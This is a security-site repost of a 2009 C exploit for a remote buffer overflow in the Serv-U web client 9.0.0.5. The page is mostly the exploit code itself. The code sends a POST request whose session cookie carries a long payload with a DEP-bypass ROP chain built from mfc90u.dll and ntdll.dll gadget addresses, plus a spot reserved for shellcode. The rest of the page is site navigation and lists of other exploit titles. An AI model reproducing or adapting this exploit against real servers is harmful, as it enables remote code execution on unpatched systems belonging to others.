首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Remote buffer overflow exploit for the Serv-U web client version 9.0.0.5
来源:megumi1990[at]gmail.com 作者:Yanagishita 发布时间:2009-11-06  

/*
    !!!FOR EDUCATIONAL USE ONLY!!!
     M.Yanagishita    Nov 2, 2009
    !!!FOR EDUCATIONAL USE ONLY!!!
*/
#include <winsock2.h>
#include <stdio.h>

#pragma comment(lib, "ws2_32")

#define Die(a) if(a){return;}

char request[] =
"POST / HTTP/1.1\r\nHost: %s\r\nCookie: killmenothing; SULang=de%%2CDE; themename=vista;"
" Session=_d838591b3a6257b0111138e6ca76c2c2409fb287b1473aa463db7f202caa09361bd7f8948c8d1adf4bd4f6c1c198eb9507545814%s\r\n"
"Content-Type: multipart/form-data; boundary=---------------------------25249352331758\r\nContent-Length: 0\r\n\r\n";

void main(int argc, char **argv)
{
 WSADATA wsaData;
 SOCKET s;
 struct hostent *he;
 struct sockaddr_in host;
 int len, sent, r;
 char *buf = new char[120000];
 char *payload = new char[100000];

 Die(argc<3);
 Die(WSAStartup(0x0101,&wsaData) != 0);
 Die((he = gethostbyname(argv[1])) == 0);

 host.sin_port = htons(atoi(argv[2]));
 host.sin_family = AF_INET;
 host.sin_addr = *((struct in_addr *)he->h_addr);

 Die((s = socket(2, 1, 6)) == -1);
 Die((connect(s, (struct sockaddr *) &host, sizeof(host))) == -1);
 
 
 memset(payload, 'C', 99999);
 memcpy(payload+(41000-62)*2+20, "4928b00f", 8); //add esp, 0x??? + ret

 //Bypass DEP in Win2k3 R2 SP2 Full Patched
 memcpy(payload +  0, "961ea378", 8);  //[mfc90u.dll]  pop esi + ret
 memcpy(payload +  8, "00020100", 8);  //esi <= 00010200 RW
 memcpy(payload + 16, "99aea478", 8);  //[mfc90u.dll]  push esp + pop ebp + ret 0c
 memcpy(payload + 24, "87e9a378", 8);  //[mfc90u.dll]  ret 20
 memcpy(payload + 32, "53c7b278", 8);  //[mfc90u.dll]  jmp esp
 memcpy(payload + 40, "47f5837c", 8);  //[ntdll.dll]   disable DEP, 0x7c98f547 for JP Win2k3

 //Shellcode here :>
 memcpy(payload+48, "ebfe", 4);

 payload[99999]=0;
 sprintf(buf, request, argv[1], payload);

 len = strlen(buf);
 sent = 0;
 r = send(s, buf, len, 0);
 sent += r;
 while(sent < len)
 {
  r = send(s, buf+sent, len-sent, 0);
  Die(r <= 0);
  sent += r;
 }
 closesocket(s);

}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Blender .blend Project Arbitra
·Mac OS X 10.5.6/10.5.7 ptrace(
·E-doo music get shell Vulnerab
·PunBB Extension Attachment ver
·This is a proof of concept exp
·Xion Audio Player version 1.0
·Linux Kernel 'pipe.c' Local Pr
·Symantec ConsoleUtilities Acti
·Linux 2.6.x fs/pipe.c local ro
·RhinoSoft.com Serv-U 9.0.0.5 W
·Linux 2.6.31 fs/pipe.c local r
·Joomla 1.5.12 Remote Code Exec
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved